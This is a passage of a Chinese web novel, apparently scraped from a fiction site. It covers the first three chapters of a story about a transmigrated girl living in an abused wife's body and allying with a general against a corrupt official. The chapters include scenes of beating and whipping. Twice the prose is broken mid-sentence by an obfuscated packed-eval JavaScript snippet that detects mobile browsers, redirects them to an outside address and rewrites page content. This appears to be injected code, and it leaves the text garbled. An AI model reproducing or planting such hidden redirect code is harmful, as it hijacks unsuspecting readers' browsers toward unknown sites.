《将军今天又变心了吗》 1. 第一章 初遇 “今日这风这样大,外面的纸钱都被吹飞了。” 钱妈将屋外的火盆子端起,盆里未燃尽的纸钱被风吹起,连同灰尘一起飘扬在黑压压的天空中。 放眼望去,整个丹山镇都被阴暗的云笼罩,黄色纸钱在天空中飘荡,呼啸的风刮的人脸生疼,无端生出一股诡异的气氛。 “钱妈!去哪了!我不是说了今天把她关在柴房里吗?谁叫你把她放出来的!”一个壮硕的刀疤脸从后院出来,脸上的肉因生气堆在一起,配上半张脸的疤显得格外可怖。 钱妈忙从屋内出来,低眉顺眼地道:“老爷,今天毕竟是七月十五,鬼节不好再让夫人睡柴房了,怕触霉头啊……” 刀疤脸啐了一口,“今天算她运气好,爷不跟她这臭娘们计较,别给她请大夫,让她吃点苦头,看以后还敢不敢忤逆我。” 说罢他就向院外走去。 钱妈见状欲说什么,但终究还是作罢了。 她看到男人走远了,就马上转身回屋将早就备好的草药捣好了,送到了偏房。 偏房灯光昏暗,烛火也受了般惊吓摇摆不定,照的屏风上单薄的影子摇摇晃晃。走到一旁越过素净的屏风看是一张小榻,榻上瘫着一个女人。 她一动不动,远远看上去就像是一具尸体。 凑近一看,她身上竟没有一处完好的地方。新伤皮肉外翻,夹杂穿插着旧疤,血肉模糊,已分辨不清。 定睛一看,她一只脚踝上居然还箍着已经老旧的镣铐,看样貌却不像寻常的奴铐,而是雕了祥云神兽,斑驳又华丽。 走近了才发现,女人竟在微微颤抖。 她艰难地翻动了一下身子,如瀑的长发搭在一旁,这才露出她那张脸。 眉若清湾,眼含秋水,唇色朱缨一点,此番状况下,显得格外妖冶,像一朵盛开的曼陀罗。 钱妈嗅到丝丝缕缕的血腥味,胃里翻涌的感觉才让她猛然反应过来,急忙凑上去,轻声说:“夫人,没事吧?” 张夫人曲如桢这才缓缓动了一下,将头侧过来:“疼……” 钱妈赶紧把捣好的草药敷在她的新伤上,这草药药性大,对伤口的刺激也大。一敷上,她的眉就狠狠绞在一起,房间里充满了她痛极的呜咽。 外头狂风已刮了好一会,像是要下一场久违的大雨。 钱妈边上手敷草药,边絮叨着:“夫人,您今天真是不该同老爷拌嘴,又是这么重的伤,您这细皮嫩肉的又得养多久才能好……立秋那几天的伤还没好呢。唉,要不是我身契在老爷手上,这么多年也早被吓跑了。” 曲如桢缓缓撑起身子,道:“老爷呢?” 钱妈上手扶她坐正,一边说:“出去了,我看怕是又出去糟蹋镇上别的姑娘了。这七月半不好出门的,但谁敢劝,而且近日山匪流寇作乱,听说好些商队被劫了,最近不太平啊……唉,不说这些了,夫人您终于可以好好休息了,老爷估摸着一时半会回不来。” 刚说完,一声惊雷划破天际,轰隆声打破了寂静的夜,雨终于下下来,这个夜晚注定不安静了。 曲如桢看着包扎好的伤口,缓缓道:“钱妈,你先出去……”话音未落,窗户突然开了,因年久失修而发出的吱呀声被吞没在这雨夜里。 曲如桢被吓了一跳,她想应是这偏房不常住人,平日也无修缮,窗子栓不紧,禁不起今夜这般风。 于是开口让钱妈去将窗关上,说以免惹了风寒。 钱妈点了点头,慢慢往里走。 曲如桢听着这狂风暴雨的动静,心里升起一点微妙的恐惧来,却抓不住影子。 过了好一阵,她也没听见钱妈将窗关起来,风雨声仍旧往她耳里灌,烛火也乱晃着,晃得她心悸。 她小心翼翼地探问:“钱妈?” 角落传来窸窣声,她不敢再出声,立马闭嘴缩到榻上的边角处。 雨砸在地上,风呼啸而过,弄出巨大的声响,似乎掩盖了来人的动作,这夜里无边的恐惧蔓延。 她缓慢地取下头上的鸢尾花簪,稳稳捏在手里。 此刻她终于看清,来人一身黑色,干净利落,脸上用面罩遮着,只剩了一双丹凤眼。眼神却像是要刺破一切的刀锋,叫人意识到来者不善。 他身上的雨水夹杂着他胳膊上的血流在地上,地板早已变的杂乱不堪。 男人看见她,却没有马上动作,而是伸出一根手指做出噤声的警示。 男人将手中的短匕调转了方向收回,慢慢向她走过去。 此时,天上又有惊雷忽地砸下来,近得像是落在身边。 男人下意识眨了一下眼。 此刻风云变换,只在一瞬间,男人就被迫近的曲如桢推倒,她将一直藏在手中的簪子抵在男人的喉间,尖利的簪子抵住他凸起的血管,仿佛一瞬间就能戳破,使其血溅三尺,“别动!再动一下我马上就刺下去。” 男人欲反抗的手骤然停下,随后缓慢举起,展现出一个投降的姿态。 他做着这些,边还小心地说道:“失策了,没想到夫人全身是伤,还有力气反制我。” 话音未落,男人的一只手就已握住了她的簪子,大拇指抵住簪尖不让她刺入自己的喉咙。趁着这时立马翻身,另一只手已经反手迫近曲如桢的脖子。 说时迟那时快,曲如桢在他要夺下簪子之前就当机立断,直接狠狠刺下,簪子瞬间贯穿了男人的手掌。 男人吃痛,另一只手却没有闲下来,依旧稳稳掐住了她的脖子。 曲如桢感受到男人的目光落在她脸上,却没有像惯常那般向下。 她愣了一下,方才想到自己衣不蔽体,还觉得好笑,心想,“都夜闯女人闺房了,还当自己是什么正人君子呢。” “不要再动歪心思了,你也不希望你丈夫误会吧,张夫人?” 曲如桢听见这话,刚想利用对方“正人君子”的特质忽悠他的想法骤然放弃,知道自己的身份,多是有备而来,不好忽悠。 她思忖着,此时受制于人,仍在张府也是寄人篱下,不如先服软,徐徐图之。 于是就缓缓开口,“你深夜闯入我张府想要什么?你看到了,我这样什么都提供不了。” 男人似是被气笑了,冷哼一声,“我本无恶意,张夫人这话真是倒打一耙。” 但他依旧开口解释道:“我需要一个容身之地,夫人,会配合我的吧?”他说着还慢慢收紧了手,曲如桢此刻便有些喘不过气来,用手不住地拍男人筋骨分明的手。 曲如桢心里暗骂他表面君子,实则小人。面上却不显,连忙应下。 “行行行,壮士,咱有话好好说……”说罢,便换上一副谄媚的表情,挤出她此生最讨好的笑容。 男人还来不及回答,就已经听见外面传来粗犷的声音:“钱妈?钱妈!” 伴随而来的是越来越近的脚步声和泥水飞溅的声音。 曲如桢马上反应过来,一边将自己身上包扎好的伤口又忍痛撕开,一边压低了声音对男人说:“不想暴露行踪就马上躲到这里。” 说着便拉开了榻下的夹层,看那位置正好能躺下一个人。 男人不作多话,马上藏到了夹层里。 曲如桢将夹层合上后立即翻身下榻,动作中牵扯到了伤口,痛哼一声。 但来不及多说,她靠着榻坐下,咬牙将刚刚的伤口又挤出鲜血来。 张老爷此时也推门进来,曲如桢在这一瞬间身体就不自主地抖了起来。 张老爷见到这幅场景,顿时震怒,“怎么回事!”曲如桢马上跪在地上,“老爷!有贼人闯入,将钱妈打晕后就潜逃了!” 他眼里凶光毕露,“贼人竟敢自投罗网,还偷到我头上来了!” 说似是罢感到不对,反而看准曲如桢肩膀上的伤,粗糙的手狠狠捏下去,“不对!那贼人怎么偏偏把钱妈打晕了,剩下你,臭婊_子,你是不是背着我跟别人幽会呢?” 说着,张老爷还加重手里的力气,将曲如桢捏的话都说不全。 “老……老爷,那贼人确实觊觎奴的身子,但是奴用簪子刺伤……他,他……他听见老爷的声音,就逃走了。”曲如桢拧着眉忍受,今天刚打的伤,血都尚未止住,这一下更是痛击,她心也跟着揪起来。 张老爷也就是张巡,看着这狼藉的地面,想起参军同他说的话,要尽早抓住夜探的贼子,要不然他们都没好果子吃。 曲如桢是他自十岁起母亲就收进府里的童养媳,平日里受惯了打骂,也没胆子平白无故说些谎话来诓骗。 当务之急是赶快找到贼人,要是让他逃了,参军还不知怎么找他算账。 思虑过后,张巡决定去纠集府兵,全面搜索。 “你给我待在这好好反省,不准包扎伤口,我回来再找你算账!”张巡冷哼一声,转身便出了府门。 曲如桢听见张巡动静已毕,赶快拉开 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14289431|152085||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 夹层。 男人刚从夹层中出来,曲如桢就将匕首抵在他的喉咙处,冷静道:“你到底是谁?” 男人应是措手不及,身体颤了一下。 曲如桢立马继续道:“你不说,我现在就追上老爷,大不了我认个错,府兵一来,你也逃不了。”她表情轻松,仿佛他说不,她下一秒就可以马上冲出去。 男人用那双漂亮的丹凤眼凝视着曲如桢,空了一瞬,无可奈何道:“我只是寻常士兵罢了,被将军派来丹山镇调查,拿了点张巡不想让我拿到的东西,被他们追杀。” 曲如桢仔细观察着男人的表情,看不出什么破绽。能独身上山,这男人定不是寻常士兵,但是再追问下去对她也没好处,这些东西不知道才能活下去,于是作罢。 她转头去翻一旁的衣柜,那里有钱妈之前在这落下的一些外敷的药,准备好后回头拉过男人的手准备帮他包扎。 男人蹙起眉,伸手挡下来,“不必。” 曲如桢看他那样子就不爽,“我不给你包扎,你一只手能包吗?” “男女……”曲如桢不等他说完,随手将纱布塞在他嘴里。 男人被这猝不及防打乱了,愣了神。下一秒,曲如桢就干脆利落地将簪子拔出来。 男人咬住纱布,痛哼了一声。 疼痛过后,男人的脑袋昏沉了许多,偏过头看着为他包扎的女人。 刚刚的打斗之中她的头发已散落,几丝落在鬓边,随着她的动作而跳动。 他觉得这场景莫名的熟悉,一瞬间好像陷入了一场久别的幻梦。 梦中的少女也是如此帮他包扎伤口,好像还有些气恼,嘴上翘得能挂一盏灯笼。 是了,为了给她拿下喜爱的风筝,他下来时不小心被树枝划伤了手臂,她再三强调要他敷药,可他还是没有照做。 那时她也不知晓,他刻意不包扎,只是为了她能多关照他一下。 眼前迷雾渐浓,他已分不清梦境与现实。 他努力想看清梦中女子的面容,于是伸手想帮她将头发别到耳后,不要挡住她的脸才好…… 将将触及女子的碎发,疼痛就经由手掌扩散到全身,直扣心门。 浓雾散去,仅留一地残骸,心中也涳濛了。 他还没真正中恍惚中醒悟,女子清澈的声音就将他拉回现实,“这药虽然止痛,但确实是容易产生幻觉,刚刚怕你把我认成劳什子的白月光,不得已按了你的伤口,等会可别再找我算账。” 他恍然之中居然感到一丝遗憾,抓不住手心里飞走的发丝,只剩怅惘。 曲如桢根本不想管他的事,她包扎知识也就是皮毛,正思索着怎么能把这个绷带系得服帖。 男人修长的手接过打了一半结的纱布,三两下就绑好了。 曲如桢这时终于侧目,男人应该是清醒了,早已把口中的纱布拿下来,这张脸,总让她感觉在哪见过…… 她一直盯着男人,男人咳了咳,有些不自在,“你的伤……” 她意识到不对,连忙转过头,也转移起话题,“我没事,我自己来。” 说完才发现,人家也没说要帮她包扎,她连忙埋下头,掩饰尴尬。 忽然想到什么,曲如桢说:“刚刚我们已经两不相欠了,我又帮你包扎了伤口,现在你欠我一个人情。” 随即缓缓抬起头,才发现男人为了“不冒犯”已经站起来转移目光了。 “没必要吧?”,她想,“刚刚掐我倒是很不留情面,这时候想起来男女大防了?” 男人仍是一副不自在的样子,曲如桢反而想逗他,“这位兄弟,你若能助我逃离苦海。此后我必定以身相许。” 男人身体明显僵了一下,“我没有娶妻的心思,夫人想逃,我可以带你走。” 曲如桢看见他这样子更来兴趣了,挑了挑眉,饶有兴致,“那怎么行呢?小女子身无长物,只能献身以报救命之恩。” 说着还慢慢站起来,一步一步靠近男人。 男人此时转过头来,轻轻触及她的肩膀,将她推远,“夫人刚刚替我包扎,我感念恩情。” 曲如桢还想逗他,还未说话,男人就把自己的披风披在她身上,眼神却没有触及她的脸,而是一直将目光投在地面上,“深寒露重。刚才事急从权,多有得罪,夫人见谅。” 这样一下,曲如桢安分了。 不敢逗了,这种人当真了她可玩不起。 2. 第二章 前缘 这已经是竹徵作为曲如桢生活的第三天了。 竹徵来到这个世界开始,似乎就注定了她必须总是扮演不同的角色。作为即将踏入大学的高三生,她已经度过了高考这一最难关卡,在等待高考成绩的前一夜,却被卷入一本书。 《茗妃传》这本书,本来是作者无垠的一本旧书。他们现在所处的,却不是小说的时空,而是小说完结后的二十年。 这时,小说的女主角宗茗芜已经作为太后垂帘听政二十年,昔时尚在襁褓之中的幼子如今已经成长为可以独当一面的年轻帝王。他们与小说的男主角,辅佐太后的摄政王形成三足鼎立之势,在朝中斗得水深火热。 那一夜,空间能量波动,有许多人像她一样被卷入了这本书。 为了让他们脱离小说世界,她必须在找到这些人后,劝说他们让出身体,自己回归现代。 而竹徵还要负责保存好他们的意识,存在特制的香囊中,并短暂地扮演他们的角色,避免身体死亡意识随之消散。 由她的邻家哥哥兼高中学长程玉安,也是现在时空局的秘密处员,拿到香囊后将这些现代人的意识送上时空隧道,送回现代。 竹徵也无数次想过回家,可是程玉安告诉她,她身躯已失,没有身体,她上时空隧道只会意识消散。 据程玉安的说法,她的身体很可能是在能量波动过程中被其他穿书者带走了。找不到自己的身体,她也无法回到家,只能永远作为一缕意识游荡在天地间。 她已经确定,她的身体也不在曲如桢这,到底还有几个穿书者呢? 现在的当务之急是去京城与程玉安汇合,将曲如桢的意识交给他,顺便去京城找找新的线索。 但是在此之前,她要向张巡寻仇。她答应了曲如桢,一定会做到,这也算是她借用身体的租金吧。 正想着,她才猛然意识到,现在已经逃离了那个虎穴。男人确实很讲信用,那个将军明显是留了后手,张巡那晚上没有再回来。 等雨停后,男人带着她逃遁到丹山镇外军队驻扎的地方,将她托付给了随军的将士夫人。 她暂时应该是安全的,可是身上的伤…… 想着她便慢慢撑起身子,想坐起来。外面忙碌的胡娘子注意到了,连忙过来扶她。 “曲娘子,你还好吧?” 竹徵在她的帮助下总算能坐起来,她环视了一下四周,这地方看起来就是寻常农户家。 胡娘子看出来她的无措,开口解围道,“曲娘子想是不太习惯吧,我们这地方小,确是不比高门大户的。” 竹徵连忙摆手,憨笑了一下,魂魄身的时候陪真正的曲如桢睡了多久柴房都不必说了,干净的房子对藏在这具身体里的竹徵已经算奢侈了。 “只是我的伤……什么时候能好?” 胡娘子听闻更是唉声叹气。 “娘子这新伤倒是不打紧,养几天便也好了。就是旧伤难愈,伤了筋骨,恐怕是难养好,要永久留下病根。” 听闻这话竹徵也没像胡娘子想象中那样悲伤,而是暗自思索道,她在这具身体里也无法存留太久,待到进京同程玉安商量好对策,其他的事就好办多了。 旧伤只要不影响她逃跑和赶路,问题倒是不大。 胡娘子见竹徵这副没什么表情的样子,更心疼起来,“娘子,这是夫婿打的吧……我男人征战沙场,身上的伤都不及姑娘。” 这还是竹徵自待在曲如桢身边到上了曲如桢的身,第一次有人关心她的伤是不是丈夫打的。 她目光柔和起来,“是啊,我自小被掳走,只依稀记得以前也曾是富贵人家。自从被那人牙子卖进张府,我婆婆看我孤苦无依,也是动辄打骂,只不过看我是童养媳好拿捏,就硬要张巡收了我。 这夫婿外人看来是无上光荣,既是庆州参军的义子,又是丹山镇的县丞,娶我一人做夫人。但谁又知道,参军的义子,难道是好相与的? 张巡做县丞前,也曾当士兵,手上力气只大不小,我只要一下不如他的意,打骂是万万少不了的。气急不让下人替我医治也是常有的,病根就如此落下了。 至于房中只有我一人,不过是他在丹山镇为虎作伥惯了,不想将姑娘收进房里养着,每日每日地出去糟蹋罢了。” 说着泪也不自主地流下来,无论如何,对于这段记忆,曲如桢的身体是忘不了的。 竹徵暗暗想,无论是五年前枉死的曲娘子,还是在这具身体里深受折磨五年的曲如桢,这笔账她一定会替她们讨回来! 胡娘子听罢“唰”地一下就站起来,“岂有此理!这禽兽!” 说罢又坐下来将竹徵的手握住,“娘子,你放心,没嫁人之前,我胡二娘也是在我家乡别人轻易不敢惹的主,这张巡非要他付出代价不可!” 竹徵看着气愤的胡娘子,心头实打实地暖了一下,也回握住胡娘子的手。 “倒是打搅了你们。”清亮的声音从外头传来,竹徵觉得这声音有点熟悉。 偏头一看,一身骑装,锦衣曳撒,干练得很。明明似是军中之人,却无杀伐气。偏生衣服上的暗金纹映示其不凡,衣袖处的纹饰颇有些眼熟,流云纹配纸飞机?!怎么是她之前手贱画下的自创! 她顿感不妙,慢慢将目光上移,来人用一个简单的银冠将头发束起,一双熟悉的丹凤眼,高鼻梁,鼻尖痣格外突出,清晰的下颌线…… 难怪她昨夜就觉得这人过分眼熟。这明明是裴风鹤! 七年前,她刚刚来到这个世界就被赶鸭子上架,被迫扮演唐家二小姐唐语蓁。 而裴风鹤,或许可以说是除了程玉安外,在这个世界上熟悉她最多破绽的人。 包括但不限于那份自创的纹样。 整个大黎谁人不知裴家大公子和唐家二小姐早早定了娃娃亲。 但是唐小姐天生体弱多病,不能见风。直至唐小姐十四岁,病情逐渐稳定,唐家全家才从通州老家搬往京城。 所以裴风鹤一开始,见到的就是在回京路上就暂时成为唐语蓁的,竹徵的意识。 这事本是乌龙,程玉安刚接手送魂魄回现代这件事就被下了套,唐语蓁本人就不是现代人。 所以最后就草草了事,一年后将唐语蓁记忆清除,权当生了一场大病忘却前尘。 但是裴风鹤似乎没察觉出不对,这件事之后几个月就自行请命在边疆打仗至今。 如今边关祸乱已了,这一阵,他应该是进京封侯进爵,与真正的唐小姐完婚。 想到这竹徵撇了撇嘴,当年他们俩也算是共患难,裴风鹤也算是知己。 认不出来她就罢了,怎么这么快就要成婚了,难道一点异样都发现不了吗? 想到他就没好气,竹徵强迫自己的思绪回到正轨。 战胜还朝的将军,他为什么会经过这里? 丹山镇虽然地处大军归京必经之路,但是一般大军从此处经过不会歇脚。 况且就张巡这个人物,值得他裴将军亲自探吗? 裴风鹤在竹徵面前站了半天,竹徵只呆呆盯着他,也不说话,让他有点不自 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裴风鹤还没来得及细品竹徵话里的不合时宜,就被迫把心思放在正事上。 “不错,昨夜里我拿走了张巡的账本,本还缺个人证。昨夜我的副将带了一支队伍上山,却没有找到张巡,府兵也蹊跷地全死在山上。” 裴风鹤转过来正视着竹徵的眼睛,竹徵许久没见过裴风鹤眼里的冷漠疏离,战栗了一下。 裴风鹤没有在意她的小动作,继续说“我要你,帮我找到张巡。” 竹徵看着那双好像能将她吸入无尽深渊的眼睛,忽地低头闭眼。 长长的睫羽盖下来,遮掩住她眼里的风起云涌。她想着其实……这反而是个好机会,可以找到张巡报仇。 便开口说:“将军要查什么事我不感兴趣,我可以帮将军找到张巡,将军也要帮我一个忙。” 说着拿出来那天刺伤裴风鹤的簪子,狠狠插入桌子上,“在将军带走张巡之前,我想报仇。” 那把冷冷插在桌上的簪子,是紫色鸢尾花的样式,银色流苏坠在一边,此刻狠厉地插在桌子上,有种冷漠又华丽的诡异美感。 无须明说,裴风鹤已经明白了竹徵言语之下的意思,于是只点点头表示知情。 但他越来越看不懂这个女子。能在瞬间果断地刺伤入侵者,紧张的环境也没有漏掉细节的人,真的会被困在一个小小的张府十几年吗? 竹徵转身走到书桌旁,将镇纸摆好,拿起笔示意裴风鹤,“将军,来帮我磨墨吧。” 外头正起风,吹起了女子的裙摆,微风正好,女子脸上狡黠的笑容让他恍惚中回到了五年前。 那时的少女也爱使唤他做些小事,连玩叶子牌都喜欢让他先洗好。 他那时想,裴家大公子,着整个上京城有谁敢使唤他做这种小事,家里长辈说照顾,他也只好耐着性子陪着。可是现在…… “将军?”竹徵看着出神的裴风鹤,疑惑起来。 这一声才让裴风鹤回过神来,他拧着眉,“曲夫人应该能弄清楚现在的状况吧?” 说罢也不给竹徵回答他的机会,兀自在椅子上坐下。 竹徵看他这嘴脸,明显没有小时候好忽悠了,嘟囔道:“磨个墨都不愿意……” 只好自己将这些东西收拾好了,画了个简图出来。 裴风鹤看她不动作了,想是应该画完了,起身凑近一看,不由得僵住了。 怎么有人能把图画成这样? 3. 第三章 上山 竹徵在旁边也觉得尴尬起来,“我自小在张府,也没什么机会拿笔,这图画得确实是有点不堪入目。” 心里腹诽,我的字,你还无福消受呢。 说什么也是个十二年拿签字笔的人,拿树枝在地上比划还好点,毛笔她可是一点不会。 裴风鹤看着那图,粗线条和乱滴的墨汁就够私塾老师心梗的了,整张图也就勉强画出了张府和疑似张巡修的秘道之间的联系,连小孩的藏宝图都比不得。 裴风鹤脑袋都大了,一张图画成这样,可以见得她方向感也不怎么样,多半让她描述也说不出来什么,只能带她一起上山了。 裴风鹤摇摇头,一边往外面走,一边抛给她一句话:“今天之内准备好你需要的东西,缺什么跟胡娘子说。” 竹徵看他这样子是打算将自己带上山,心想正好,她最差的就是地理,要她描述个东南西北出来那还真是难为她了。到时候没捉到人,这笔账又算不成了。 不过夜长梦多,她出门追上裴风鹤,“什么时候出发?” 外头的胡娘子听见这话急忙道:“娘子!你伤还没好呢,这几天不能再活动了,本就有病根,加重了就不好了。” 裴风鹤听见这两句微微偏了偏头,但只是冷冷丢下一句:“今晚。”就离开了。 竹徵望着他的背影,心里有些莫名的酸涩。 但总归得到了回答,心稍稍放下,看见胡娘子担心的神情,反而宽慰起她来,“没事,我可以。” 这条路,是两位青春艳丽的曲小姐用血肉踏出来的,她就算亲踏刀山火海,也一定要替她们讨回来。 竹徵想,倒是裴风鹤果然还是那样子。 他的温柔,只在没有触及他的利益的时候存在罢了,其实挺虚伪的。 竹徵回头跟胡娘子耳语了几句,胡娘子面带疑惑但依旧点点头走了。 晚上,夜已深了。 外头的风呼啸而过,吹得人心惊。 竹徵等的都快睡着了,胡娘子更是直接在桌子上打起盹。 忽然,敲门声响起,“咚,咚,咚”有力的三下。 胡娘子直接惊醒,将口水擦擦,“将军来了。”边起身去开门。 打开门却不是裴风鹤。 来人并未说话,掌风先到。 胡娘子到底是随军的娘子,拳脚功夫也不差。几招下来,胡娘子虽然打退不了此人,倒也没让他占到便宜。 竹徵反应迅速,马上把桌上能见的东西全往来人脸上呼,胡娘子一弯腰,竹徵举起起烛台砸在那人身上。 烛火吞灭了那人的衣服,胡娘子勉强脱身,拍灭自己身上的火星子,拉着竹徵从窗子逃走。 昨天逃亡,今天也逃亡。 曲如桢这幅身子实在是不怎么爽利,刚翻完窗就一阵头晕目眩。 后面的人已经要追上她们,胡娘子应该是真着急了,大力地拉着她的衣袖,低声喊:“夫人!” 看这情况估计她已经跑不掉了,竹徵轻轻推了一下胡娘子,“找将军报信。” 胡娘子还在犹豫,后面的人已经追上来。 她咬咬牙,马上往深山里跑去。 竹徵想,反正死不了,大不了再做几年阿飘,让程玉安先把曲如桢送回现代。 已死之身换一个鲜活的胡娘子,算算还是她赚。 那些人已经将她围住,刚刚那人身上的火看来是随意拿院中的水浇灭的,他衣不蔽体,身上又全是刚刚浇的水,一滴一滴落在地上,好不狼狈。 他龇牙咧嘴,啐了一口,“臭娘们,让我好找,我一定也让你尝尝火烧的滋味。” 竹徵面上表情不变,望着领头那人,抬手就是一个巴掌抽过去。 响亮的巴掌声震碎了长夜的寂静。 “伤了我,你能负责吗。”竹徵语气漠然,眼神倨傲。 参军让他们把张巡夫人曲如桢带回去,只说不能惊动裴将军,而且要活人。 他们拿捏不好度,曲如桢毕竟是张巡唯一的夫人,如果真怠慢了,参军恐怕也会怪罪。 那人左思右想,还是不敢冒这个险。拿她没有办法,只好暗骂几句,将曲如桢带走了。 竹徵被架着,却依旧扬着头,她身上香粉味浓重,乍一看,真的让人以为她是一位被娇宠的夫人。 ———— 裴风鹤本来打算今晚带曲如桢上山找张巡,准备好了一切,却临时收到战报。 山匪去攻打丹山镇了! 裴风鹤明知这是调虎离山计,却不得不派兵去阻拦山匪。 回京述职带不了多少人,更别说他只带了一支小队提前探丹山镇情形,昨夜对付一支府兵还行,今日对上山匪还是没多大胜算。 他望着外面已经深了的夜色,把副将周荣叫了过来。 “你带兵,去剿灭山匪。主要别让百姓受伤,该退让时退一步。”裴风鹤将腰间令牌递给他,“叫人拿着我的腰牌去找云何,带一支小队增援。” 他的另一个副将云何,带着大军驻扎在五十里外。 周荣看起来有点害怕,“将军!” 裴风鹤想想也是,五年前捡到周荣带在他身边开始,他就没派他单独作战过。 想到这,裴风鹤拍了拍他的肩,“这调虎离山之计,就是算准我无法弃丹山百姓于不顾,想趁机毁尸灭迹,不想让我抓到把柄。” 他说话之间已换上了轻便的衣服,“五年了,你已经可以独当一面,赢了再回来见我。” 周荣转头,裴风鹤已经从窗边翻出,只留给他一个利落的背影。 裴风鹤往小院去的路上,就已经撞见了慌乱的胡娘子。 “将军,夫人,被抓走了!” 裴风鹤看胡娘子的散落的头发,就知道情况紧急,“在哪被带走了?” 胡娘子差点气顺不过来,“就在小院后面!” 裴风鹤脚下生风,一路飞快地穿过树林,被树枝擦破了衣服也没在意,很快到了小院。 刚准备进去,侧头见到昨天在这小院没见过的一条黄狗栓在院前。 他蹙起眉,转头问好不容易跟上的胡娘子,“怎么回事?” “这是今日曲夫人叫我去山下农户借的,说是要嗅觉灵敏,不爱乱叫的狗。” 裴风鹤马上反应过来,上前将狗绳解开,将那一端缠在自己手上。 他带着狗走到今天曲如桢被带走的地方,那里果然脂粉味很重。 得到确认之后,他不自觉扬起了嘴角,“倒是很聪明。” 胡娘子站在旁边,只有不解,还有时间唠嗑呢? ———— 竹徵此刻正待在地牢里。 在现代看多了小说和电视剧,其实并没有想到地牢是如此的灰暗与狭窄。 与其说是地牢,不如说是囚笼。 刚刚来时她就发现,这个地方更像是关一头野兽,四面都是空荡荡的,像是供人观赏囚犯的窘迫。 当这些犯人的尊严碎成一地残渣,不就只剩下野兽的本能了吗?似乎看着囚犯像野兽一样撕咬着牢笼,困境中急迫求生才是他们的乐趣吧。 真邪恶啊。 外面的铁门传来生锈的吱呀声,随后稳健的脚步声传来。 有人来了,估计还是大人物。 果然,来人锦衣华服,完全看不出来是一个习武的参军。 竹徵早见过参军,当时参军见曲如桢漂亮,也曾旁敲侧击地问过张巡。 当时她作为一缕意识,还在曲如桢耳边劝说,“看吧,你在他们眼里,也只是可以交换的物件。” 张巡拒绝了,那时曲如桢仍旧相信张巡爱护她,根本劝不动。 想到这,参军已经在她面前坐下,他看起来倒是儒雅,衣衫整齐繁杂,脸上的笑容也依旧是“如沐春风”。 “夫人,别来无恙啊。” 竹徵干脆将脸偏过去不看他。 见竹徵没有跟他搭话的意思,参军也并未恼怒,反而继续说,“夫人逃跑之后,倒是过的滋润哪……”说着手就越过铁牢,想抚上竹徵的脸。 竹徵双手被绑着,但不妨碍她像小兽一样露出獠牙,参军的手指刚接触到她,就被她狠狠咬了一口,甚至来不及痛呼。 “贱/人!”参军那伪善的面目终于被揭下,怒不可遏,另一只手上握住的鞭子狠狠抡在地上,脆响声充溢了整个牢狱。 竹徵的云淡风轻在那一刻被打破了,忍不住战栗起来。 黑暗,幽森,没有烛火,双眼已经模糊了,她看不见什么东西,只能通过听自己血滴在地上,来感受着时间一点点流逝。 已经感受不到痛了,马鞭却仍旧一下一下地打在身上,伴随着怒骂,将她抽筋剥皮,生吞活剥。 今天也要晕过去才能停止这一切吗…… 她好像回到了那个时刻,恐惧扼住了她的喉咙,令她无法呼吸,好想逃! 参军应该是掌握了她的软肋,知道她从小就被张巡用马鞭教训。 纵使竹徵没有亲历,但是那些刻在骨子里的肌肉记忆让她已无力再反讽,只能紧紧闭上眼睛,强行与恐惧对抗。 参军似是意识到自己失态,又恢复了笑容,缓缓坐下。“夫人很怕吧?” “你乖乖告诉我,张巡给你的东西在哪,我就放你走,怎么样,这笔买卖划算吧?” 竹徵强压着心跳,用着颤抖的声线,“参军找东西找到我身上来了,看来张巡也没把那些事都告诉你啊。” “什么?什么事?”参军眯起眼睛,不太相信这个长时间被丈夫非打即骂的女子知道什么连他都不知道的事。 竹徵好不容易缓过来,又换上那一副高傲的表情,“参军不妨跟我做个交易。” 参军只招了招手,立在他一侧的随从就退下了。 竹徵慢慢坐起来,“参军要的东西,我有。但是参军要答应我一件事。” 参军鹰隼般的目光射过来,仿佛要刺穿竹徵的所有伪装,他沉寂了一会,随后就开始大笑。 他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14289433|152085||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 尖利又宏大的笑声回荡在空荡的牢笼中,悠悠地回转,透着诡秘。 他笑完才低头继续盯着竹徵,雀跃的眼神几乎要灼伤她,“什么条件?” 竹徵用毕生最坚定地眼神回馈他,一字一句地说,“我要安全到达京城,我到了,东西会给你。” 参军摆出一副戏谑的表情,“你有资格跟我谈条件吗?” 说完又是一鞭子抽在铁杆上。整个牢狱震颤,发出轰鸣声。 竹徵已抬不起头,听着这声音又摔倒在地。只能趴在地上对抗自己对于马鞭的恐惧,嘴里仍念道,“参军要的东西,难道不值这个价吗?” 参军已经命下人把牢门打开,竹徵委在地上,止不住地颤抖。 参军悠悠踏进她栖身的牢房,“我没那么大的耐性,等你到京城,我还能找到你吗?敬酒不吃吃罚酒,夫人,我这下只能得罪了。” “啪!”真正的鞭子落下时,竹徵眼前的那些幻象反而消失了,只剩下一片片血红。她已目不视物,只有一滴滴血泪落下。 她好像听见身旁有人在大笑,羞耻与不堪包裹着她,除了颤抖她似乎无法作为。 好像这种场景已经出现过多次,熟悉的恐惧马上爬满了竹徵的全身。 她想转身,侧身他就打不到了对吧? 但是她没有力气,耳朵已经被鞭声和鸣叫充满,远处的啸叫在侵蚀着她的灵魂,要求饶吗?求饶了他会停下吗? 预想中的第二鞭没有落下,而是打在了什么肉身上。 